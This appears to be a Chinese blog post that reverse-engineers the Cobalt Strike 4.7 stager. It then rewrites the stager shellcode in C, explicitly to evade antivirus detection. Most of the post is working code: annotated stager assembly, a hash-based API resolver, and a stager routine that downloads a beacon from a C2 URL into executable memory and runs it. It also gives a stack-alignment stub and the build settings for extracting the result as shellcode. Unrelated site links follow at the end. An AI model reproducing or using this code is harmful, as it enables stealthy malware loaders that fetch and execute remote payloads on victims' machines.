关于CS 4.7 Stager 逆向及 Shellcode 重写

1. 概述

一直很想有一个自己的控,奈何实力不允许,CS 仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用 go 重写了 CS 的 beacon,感觉这个思路很好,但是 go 编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用 C 去重写一个,不过 beacon 的功能很多,短时间去重写有点费劲,所以想先重写 CS 的 stager 部分,并能转化成 shellcode 通过加载器进行加载。CS 4.7出来有段时间了,本文尝试对 CS 的 stager 进行逆向,并尝试用 C 重写 stager 的 shellcode 。

2. 样本信息

样本名:artifact.exe (通过CS的Windows Stager Payload生成的64位exe)

3. Stager 逆向

CS 生成的 exe 格式的 stager 本质上就是一个 shellcode 加载器,真正实现 stager 的拉取 beacon 功能的是其中的 shellcode 部分,因为加载器我们可以通过很多方式去实现,且4.7版本的 stager 加载流程并没有较大变化,所以对 stager 的加载部分只做简单的分析。

3.1 Shellcode加载部分:

进入主函数,直接进 sub_4017F8 函数看它的功能实现:

进入 sub_4017F8 函数,先获取系统时间戳,然后创建线程通过管道读取 shellcode 并执行:

拼接的管道名:\.\pipe\MSSE-3410-server:

跟进 CreateThread 中的线程执行函数:

跟进 WriteShellcodeToPipe_401630,创建管道并循环写入 shellcode:

shellcode 内容如下:

写入 shellcode:

跟进 ShellcodeExec_4017A6 函数,该函数实现从管道接收 shellcode 并解密执行:

从管道中读取 shellcode 到内存:

将读取到的 shellcode 在 DecryptAndExecShellcode_401595 函数中解密执行:

解密后的 shellcode 可以通过 CreateThread 的传参找到,起始地址保存在 R9 寄存器中:

3.2 Shellcode执行部分:

Shellcode 是一段地址无关代码,不能直接调用 Win32Api,CS 的 shellcode 是通过遍历 PEB 结构和 PE 文件导出表并根据导出函数的 hash 值查找需要的模块和 API 函数:

3.2.1 遍历PEB获取Win32API

遍历PEB:

计算模块哈希:

查找导出函数:

该部分的完整汇编如下:

| mov rdx,qword ptr gs:[rdx+60] | 查找PEB

| mov rdx,qword ptr ds:[rdx+18] | 查找LDR链表

| mov rdx,qword ptr ds:[rdx+20] | 访问InMemoryOrderModuleList链表

| mov rsi,qword ptr ds:[rdx+50] | 将模块名称存入rsi寄存器

| movzx rcx,word ptr ds:[rdx+4A] | 将模块名称长度存入rcx寄存器(unicode)

| xor r9,r9 |

| xor rax,rax |

| lodsb | 逐字符读入模块名称

| cmp al,61 | 判断大小写

| jl A0037 | 大写则跳转

| sub al,20 | 如果是小写就转换为大写

| ror r9d,D | ROR13加密计算

| add r9d,eax | 将计算得到的hash值存入R9寄存器

| loop A002D | 循环计算

| push rdx |

| push r9 |

| mov rdx,qword ptr ds:[rdx+20] | 找到模块基地址

| mov eax,dword ptr ds:[rdx+3C] | 找到0x3C偏移(PE标识)

| add rax,rdx | rax指向PE标识

| cmp word ptr ds:[rax+18],20B | 判断OptionHeader结构的Magic为是否为20B(PE32+)

| jne A00C7 |

| mov eax,dword ptr ds:[rax+88] | 将导出表RVA赋值给eax寄存器

| test rax,rax |

| je A00C7 |

| add rax,rdx | 模块基址+导出表RVA=导出表VA

| push rax |

| mov ecx,dword ptr ds:[rax+18] | 将导出函数的数量赋值给ecx寄存器

| mov r8d,dword ptr ds:[rax+20] | 将导出函数的起始RVA赋值给R8寄存器

| add r8,rdx | 导出函数的起始VA

| jrcxz A00C6 |

| dec rcx |

| mov esi,dword ptr ds:[r8+rcx*4] | 从后向前获取导出函数的RVA

| add rsi,rdx | 当前导出函数的VA

| xor r9,r9 |

| xor rax,rax |

| lodsb | 逐字符读入导出函数名

| ror r9d,D | ROR13加密运算

| add r9d,eax | 计算的hash存入R9

| cmp al,ah | 字符串最后一位为0,此时al、ah均为0,循环结束

| jne A007D | 不为0,继续运算

| add r9,qword ptr ss:[rsp+8] | 将模块hash与函数hash求和

| cmp r9d,r10d | 运算结果与要查找的函数hash(R10)进行比较

| jne A006E | 没找到则跳回去继续找

| pop rax |

之后会不断循环上面的代码通过hash依次查找以下Api函数:

0x0726774C => LoadLibraryA

0xA779563A => InternetOpenA

0xC69F8957 => InternetConnectA

0x3B2E55EB => HttpOpenRequestA

0x7B18062D => HttpSendRequestA

0xE553A458 => VirtualAlloc

0xE2899612 => InternetReadFile

3.2.2 请求C2服务器建立连接

调用 LoadLibraryA 加载 wininet.dll:

调用 InternetOpenA 进行初始化:

调用 InternetConnectA 与控制端建立 http 会话:

调用 HttpOpenRequestA 创建 http 请求:

调用 HttpSendRequestA 将指定请求发送到服务器:

3.2.3 获取Beacon加载上线

调用 VirtualAlloc 为 beacon 分配内存:

循环调用 InternetReadFile 将 beacon 读取到分配的内存:

跳转,进入 beacon 的内存空间:

之后,beacon 会解密自身,通过反射式DLL注入执行上线,不在本篇范围,故不赘述。

4. C 重写 Shellcode

通过前面的内容我们已经了解了 CS 的 stager 的基本功能,其中 shellcode 部分通过调用 wininet.dll 中的相关 API 函数向 C2 服务器发起 http 请求并建立连接,远程读取 beacon 的内容并为其分配内存后跳转执行,在 C 里面,我们只需要调用相同的 API 函数即可实现相同的功能。

然而,我们的目的是希望用 C 编写出来的代码可以转化为 shellcode,这样既可以保留 shellcode 灵活加载的优势,也可以通过编写 C 代码自由地控制 shellcode(汇编大佬勿cue)。因为 shellcode 是一段地址无关代码,我们不能像编译一个可执行文件那样直接调用 Windows API,这就是为什么 CS 的 shellcode 会有一段代码通过遍历 PEB 和导出表来获取所需的 Windows API 函数。

理清了思路,剩下的就是写代码了,下面给出关键代码。

4.1 Shellcode的代码实现

4.1.1 遍历PEB获取Win32API

这个部分已经有很多代码实例了,直接拿来 include 就可以:

#include <windows.h>

#include <winternl.h>

// This compiles to a ROR instruction

// This is needed because _lrotr() is an external reference

// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.

#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

// Redefine PEB structures. The structure definitions in winternl.h are incomplete.

typedef struct _MY_PEB_LDR_DATA {

ULONG Length;

BOOL Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY

{

LIST_ENTRY InLoadOrderLinks;

LIST_ENTRY InMemoryOrderLinks;

LIST_ENTRY InInitializationOrderLinks;

PVOID DllBase;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

HMODULE GetProcAddressWithHash( In DWORD dwModuleFunctionHash )

{

PPEB PebAddress;

PMY_PEB_LDR_DATA pLdr;

PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;

PVOID pModuleBase;

PIMAGE_NT_HEADERS pNTHeader;

DWORD dwExportDirRVA;

PIMAGE_EXPORT_DIRECTORY pExportDir;

PLIST_ENTRY pNextModule;

DWORD dwNumFunctions;

USHORT usOrdinalTableIndex;

PDWORD pdwFunctionNameBase;

PCSTR pFunctionName;

UNICODE_STRING BaseDllName;

DWORD dwModuleHash;

DWORD dwFunctionHash;

PCSTR pTempChar;

DWORD i;

#if defined(_WIN64)

PebAddress = (PPEB) __readgsqword( 0x60 );

#elif defined(_M_ARM)

// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes

// necessary to get the PEB.Ldr address

PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);

__emit( 0x00006B1B );

#else

PebAddress = (PPEB) __readfsdword( 0x30 );

#endif

pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;

pNextModule = pLdr->InLoadOrderModuleList.Flink;

pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;

while (pDataTableEntry->DllBase != NULL)

{

dwModuleHash = 0;

pModuleBase = pDataTableEntry->DllBase;

BaseDllName = pDataTableEntry->BaseDllName;

pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);

dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

// Get the next loaded module entry

pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;

// If the current module does not export any functions, move on to the next module.

if (dwExportDirRVA == 0)

{

continue;

}

// Calculate the module hash

for (i = 0; i < BaseDllName.MaximumLength; i++)

{

pTempChar = ((PCSTR) BaseDllName.Buffer + i);

dwModuleHash = ROTR32( dwModuleHash, 13 );

if ( *pTempChar >= 0x61 )

{

dwModuleHash += *pTempChar - 0x20;

}

else

{

dwModuleHash += *pTempChar;

}

}

pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);

dwNumFunctions = pExportDir->NumberOfNames;

pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);

for (i = 0; i < dwNumFunctions; i++)

{

dwFunctionHash = 0;

pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);

pdwFunctionNameBase++;

pTempChar = pFunctionName;

do

{

dwFunctionHash = ROTR32( dwFunctionHash, 13 );

dwFunctionHash += pTempChar;
pTempChar++;
} while (
(pTempChar - 1) != 0);

dwFunctionHash += dwModuleHash;

if (dwFunctionHash == dwModuleFunctionHash)

{

usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));

return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));

}

}

}

// All modules have been exhausted and the function was not found.

return NULL;

}

在引用了以上代码后,我们还需要定义我们所需的 API 函数,这里我们尝试使用其它 API 进行测试:

typedef HMODULE(WINAPI* FN_LoadLibraryA)(
In LPCSTR lpLibFileName

);

typedef LPVOID(WINAPI* FN_VirtualAlloc)(
In_opt LPVOID lpAddress,
In SIZE_T dwSize,
In DWORD flAllocationType,
In DWORD flProtect

);

typedef LPVOID(WINAPI* FN_InternetOpenA)(
In LPCSTR lpszAgent,
In DWORD dwAccessType,
In LPCSTR lpszProxy,
In LPCSTR lpszProxyBypass,
In DWORD dwFlags

);

typedef HANDLE(WINAPI* FN_InternetOpenUrlA)(
In LPVOID hInternet,
In LPCSTR lpszUrl,
In LPCSTR lpszHeaders,
In DWORD dwHeadersLength,
In DWORD dwFlags,
In DWORD_PTR dwContext

);

typedef BOOL(WINAPI* FN_InternetReadFile)(
In LPVOID hFile,
Out LPVOID lpBuffer,
In DWORD dwNumberOfBytesToRead,
Out LPDWORD lpdwNumberOfBytesRead

);

typedef struct tagApiInterface {

FN_LoadLibraryA pfnLoadLibrary;

FN_VirtualAlloc pfnVirtualAlloc;

FN_InternetOpenA pfnInternetOpenA;

FN_InternetOpenUrlA pfnInternetOpenUrlA;

FN_InternetReadFile pfnInternetReadFile;

}APIINTERFACE, * PAPIINTERFACE;

现在我们已经有了定义好的函数和 GetProcAddressWithHash 函数,接下来只需要通过 hash 寻找我们需要的函数即可:

#pragma warning( push )

#pragma warning( disable : 4055 )

ai.pfnLoadLibrary = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);

ai.pfnLoadLibrary(szWininet);

ai.pfnLoadLibrary(szUser32);

ai.pfnVirtualAlloc      = (FN_VirtualAlloc)GetProcAddressWithHash(0xE553A458);
ai.pfnInternetOpenA     = (FN_InternetOpenA)GetProcAddressWithHash(0xA779563A);
ai.pfnInternetOpenUrlA  = (FN_InternetOpenUrlA)GetProcAddressWithHash(0xF07A8777);
ai.pfnInternetReadFile  = (FN_InternetReadFile)GetProcAddressWithHash(0xE2899612);

#pragma warning( pop )

4.1.2 建立连接接收Beacon

LPVOID hInternet = ai.pfnInternetOpenA(0, 0, NULL, 0, NULL);

HANDLE hInternetOpenUrl = ai.pfnInternetOpenUrlA(hInternet, HttpURL, NULL, 0, 0x80000000, 0);

LPVOID addr = ai.pfnVirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

recv_tmp = 1;

recv_tot = 0;

beacon_index = addr;

while (recv_tmp > 0) {

ai.pfnInternetReadFile(hInternetOpenUrl, beacon_index, 8192, (PDWORD)&recv_tmp);

recv_tot += recv_tmp;

beacon_index += recv_tmp;

}

((void(*)())addr)();

4.1.3 64位下的代码调整

为了保证我们的 shellcode 在64位上以正确的堆栈对齐方式达到其入口点,我们需要编写一个保证对齐的 asm 存根,并将其生成的对象文件作为链接器的附加依赖项:

EXTRN ExecutePayload:PROC

PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function

; to be called as an extern in our C code.

_TEXT SEGMENT

; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior

; to calling the entry point of the payload. This is necessary because 64-bit functions

; in Windows assume that they were called with 16-byte stack alignment. When amd64

; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,

; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely

; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)

; alignment.

AlignRSP PROC

push rsi ; Preserve RSI since we're stomping on it

mov rsi, rsp ; Save the value of RSP so it can be restored

and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes

sub rsp, 020h ; Allocate homing space for ExecutePayload

call ExecutePayload ; Call the entry point of the payload

mov rsp, rsi ; Restore the original value of RSP

pop rsi ; Restore RSI

ret ; Return to caller

AlignRSP ENDP

_TEXT ENDS

END

我们还需要一个头文件帮助我们调用上面的汇编函数:

#if defined(_WIN64)

extern VOID AlignRSP( VOID );

VOID Begin( VOID )

{

// Call the ASM stub that will guarantee 16-byte stack alignment.

// The stub will then call the ExecutePayload.

AlignRSP();

}

#endif

4.1.4 其它坑点

(1)传入一些字符串参数时需要使用字符数组的形式;

(2)传入的字符串不能过长,太长的话会被编译器分配到别的区段导致提取的 shellcode 找不到其地址;

(3)如果 CS 使用默认的 profile,注意 URL 应满足 CS 的检查要求(checksum8);

4.2 修改VSStudio配置

在写好代码后,为了从我们编译生成的 exe 文件中提取出可以使用的 shellcode,我们还需要修改 VS 的部分配置选项:

编译器:

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

链接器:

/LTCG "x64\Release\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO

/SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO

/NODEFAULTLIB

其中 AdjustStack.obj 是我们上面提到的对象文件,function_link_order64.txt 是我们指定的链接顺序,其内容如下:

Begin // 入口函数

GetProcAddressWithHash

ExecutePayload // shellcode 功能函数

4.3 提取shellcode上线

配置好相关选项后,构建项目生成 exe,然后提取 .text 段就可以拿到我们的 shellcode 了:

使用一个简单的加载器进行测试,可成功上线:

  1. 参考链接
    https://bbs.kanxue.com/thread-264470.htm#msg_header_h2_0

https://web.archive.org/web/20210305190309/http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html

相关推荐
tatasix6 分钟前
MySQL UPDATE语句执行链路解析
数据库·mysql
南城花随雪。19 分钟前
硬盘(HDD)与固态硬盘(SSD)详细解读
数据库
儿时可乖了20 分钟前
使用 Java 操作 SQLite 数据库
java·数据库·sqlite
懒是一种态度22 分钟前
Golang 调用 mongodb 的函数
数据库·mongodb·golang
天海华兮24 分钟前
mysql 去重 补全 取出重复 变量 函数 和存储过程
数据库·mysql
日晨难再41 分钟前
嵌入式:STM32的启动(Startup)文件解析
stm32·单片机·嵌入式硬件
yufengxinpian1 小时前
集成了高性能ARM Cortex-M0+处理器的一款SimpleLink 2.4 GHz无线模块-RF-BM-2340B1
单片机·嵌入式硬件·音视频·智能硬件
gma9991 小时前
Etcd 框架
数据库·etcd
爱吃青椒不爱吃西红柿‍️1 小时前
华为ASP与CSP是什么?
服务器·前端·数据库
Yz98762 小时前
hive的存储格式
大数据·数据库·数据仓库·hive·hadoop·数据库开发